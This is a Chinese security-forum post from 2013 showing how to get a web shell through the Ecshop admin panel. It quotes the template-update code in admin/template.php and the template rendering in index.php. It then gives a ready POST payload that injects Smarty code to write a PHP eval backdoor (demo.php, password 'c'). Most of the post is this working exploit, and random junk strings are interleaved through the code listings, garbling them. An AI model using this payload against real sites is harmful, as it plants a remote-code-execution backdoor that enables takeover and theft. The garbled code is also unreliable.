找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2272|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
4 S/ G, k- Z; P# d/ O/ y: h' F. f- M" p7 @
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
  ^$ x4 Z+ i! n  _但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
" `9 Z# s, W# N9 K9 v% n2 J, ?admin/template.php
5 J2 e+ P" L( W5 v( ~' z3 a& q' V, @; c9 a/ g. `4 h9 u7 @
1 if ($_REQUEST['act'] == 'update_library') # P: H# t! ]+ a7 r) F" G

; y5 M) n7 }( e  }+ @+ C9 |5 P0 u2   
( b3 Z* H9 i& A) E* m) n; o3 |5 |4 b& c& R0 g
3 { ' E2 ~( Z. E4 Z7 N% X, w$ W- A/ }2 k2 v
# E% p+ l5 S6 T( d
4     check_authz_json('library_manage');
& {; V- N9 |: U' ]/ A! R8 N# ?) s3 B. K( D, `1 |9 \; k
5   
# _" E" L# U5 z. T
3 U# [$ l/ Z8 \) l6     $html = stripslashes(json_str_iconv($_POST['html'])); ; t- R# a* @6 R' Q  ~

: j8 _. K/ x; R, n) w5 H) j% l* p2 z7   + }% L* o9 C6 X3 R

( ]/ R, G# }9 H+ B: h# e8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 7 r/ b' N$ F  s) f! q

2 B& ]) M, t' C- [8 `3 B9   - ^  A. H* }9 x7 T% S0 k
5 ]! j5 E; w) ]. U/ @) c
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 / t2 u, ?$ j( K8 |) x1 t% U1 f
6 I: O' l7 |  ?2 F( n1 ~" x+ Q
11   
0 `6 B! f4 L1 f% i
; @8 g. M" u: @1 S! A) P12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
! Z1 f% G$ K5 i9 X( |" |: M; k$ f+ U! W, L; K9 l
13   : q0 j3 x0 k5 C: S9 ]4 g5 V3 \
4 ~' q; }7 z8 ~* @
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 # S6 S9 v9 ~3 Z' x

$ v- E8 W% I! r+ g15     { 4 e+ @/ h7 q/ B$ [8 P, d( J* [
8 Q8 p4 g  N8 }' w& X
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); ) b5 r: Y1 D1 U4 ]! ^3 R3 C% A! Y
) |+ {* F0 J7 S6 f
17         make_json_result('', $_LANG['update_lib_success']); . g7 i2 N$ V1 m' @. |( t+ q) V
0 g7 }) N1 G3 J! p
18     } 0 k  A# f4 F& ]/ A$ W9 O" q
/ T2 k' }9 K8 `$ Z9 W# [  B4 I! l
19     else : N$ F& b* O  z) E( g! }7 v  i  x
  y  P4 y; T7 S: _. C( Q# V# b
20     { & q, F& w# M' Z5 N
7 i' ?8 K; c6 ?
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
2 [' M: B$ J% c
! |0 \3 R/ v1 \) T) ?% \22     }
$ Y4 |2 r1 C9 O7 b- k; M. E9 _/ Z6 b0 B
23 } ' C4 W: L/ b+ [8 G2 j* u6 v
( w! f, E; w* u. R1 w
那么找个比较方便调用了模板的文件
( i8 G% e1 x' n$ D! h) n. Sindex.php
" g+ j$ y0 V- L" b2 J/ L7 U# O" G7 a+ X: ?# K: S5 w: N
1 if ($act == 'cat_rec') 5 n; M9 ~' l% f' V/ t

# }) B0 U8 J" C7 q4 e6 L2   / V  N. t& X! ^
' U6 G: I7 p' g
3 { 2 L$ B* N) d- E3 b; z: l# }
* t/ P  G) x4 p: j0 g* v
4   
/ y( Q9 e6 a- \3 ]0 `
7 L* B4 d2 v4 C8 E' H* I$ e5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); 9 H4 ?- n; u) s
) q& Q) _9 u* ^7 u6 f5 X
6   
( C4 y% O$ E- i+ r) \6 p+ s4 x9 F# E( Z- `7 M* @1 V7 s+ z5 e1 R
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
& @8 }7 P5 ~7 O' [- K
7 {  P/ w# B) ?8   , U9 q5 V) t+ |4 i5 h, i
" u6 t( X& ?2 k2 b
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
6 ^% Z' Z& y2 [9 e! g2 X7 {# z, v. w- O. J
10   
* N$ ~' L6 P' j5 O8 l
3 Y/ d) x) q% f4 M( _) [$ W11     include_once('includes/cls_json.php'); - T0 l% [! f, Z6 X) w& R
+ }/ j! C$ m: ]  E' K0 q
12   
$ n+ }1 D" N$ L0 v4 ]2 L( T, i7 d- B/ k
- @& p7 X) ]( B  {' i& p9 @13     $json = new JSON; 2 Y4 n- j& G* G4 J, q% {
* M' z6 b, A' Q
14   
6 t/ m4 S! q! ~3 r. A" C9 L4 ^& t/ N+ N& s& `
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); ' W1 b: G7 a7 |- f) P

1 _) `+ @1 ?* p. K0 Z: ~1 v; k16   9 X% m; F9 v( n' C3 d
0 H6 E& d" ]7 G: l! Y
17     $children = get_children($cat_id);
! Q! L6 f/ Y" |% A  _( Q+ _2 k- {
, }& ^$ ]" P8 A/ T2 Y) m18   
# B+ u- ?( _: c4 R8 u% [; n5 W: }) r( b% r8 d7 _
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
3 t7 p6 P, U7 \( e, a% j+ @% I, Y; ?0 n; H$ h5 j
20   
; h' P$ w7 M2 G8 {- W: `/ ^. H/ i' |, ?  r& t9 A% ?. X
21     $smarty->assign('cat_rec_sign', 1); , g1 f7 f2 r1 F! M$ g4 K7 v- D/ w
& e# ^$ V& z# U, |: V& o
22   / s- F# x3 L) Z& ]4 o* T% a7 b

5 I3 _! P! a! u+ I  x23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best + r% _3 Z( }' c4 e

8 C: d8 Q5 T" z: ]- }# j3 {2 D24   
4 R+ o  d) v# c. {' q) F% i
9 H, m, [. U2 y! r' D0 l8 ]25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
. h$ A3 L  X. ^% W
) k3 w+ ?) v7 L1 W26   ( t4 o+ j5 N+ i
9 q1 I2 \% T; @8 a+ a
27         echo $rec_array[$rec_type]; 4 W& {" D! y0 `9 @- j
+ V# _+ O! N. ]& V$ d
28   
6 r7 C4 Y# ], c3 U6 f$ k4 Z# T9 O
, q3 Q. b0 x! d7 V- ?0 l29     die($json->encode($result));
* V' E6 ~4 R( G4 r# W. b1 X7 o! {5 [; S
30   
- u0 ~# J( m% }8 Z& O8 Y! U& e& i( L( V& f( a! c
31 }
. g2 e* z$ ~9 ~0 m9 ]% y) a8 L* j. H8 d  h0 h. C
那么就有利用方法了0 p: T) R% }6 X6 Y; t" c
post包到http://localhost/ec/admin/template.php?act=update_library
% _' ~6 ~. ?' y0 q% d) ]Post内容:
/ @- R. c' O; u" e5 ?0 T+ r' ?# j: N$ j5 i9 [. l) k+ ?4 i
; p- e1 d' S5 ^+ m' C# C
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} ( q) G: i/ ]# I5 O6 X( g+ N
5 V- Y# j$ p/ G# \! ?0 U
然后访问http://localhost/ec/index.php?act=cat_rec, _/ P: A, D2 R' M4 B$ w) r
- E  V- s1 o; c: d0 O, }
shel地址:http://localhost/ec/demo.php
8 F" |( b1 B* X$ d7 t密码c
- T9 ~! `7 M, U
6 D5 y) B2 t+ M3 e+ k$ k$ H
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表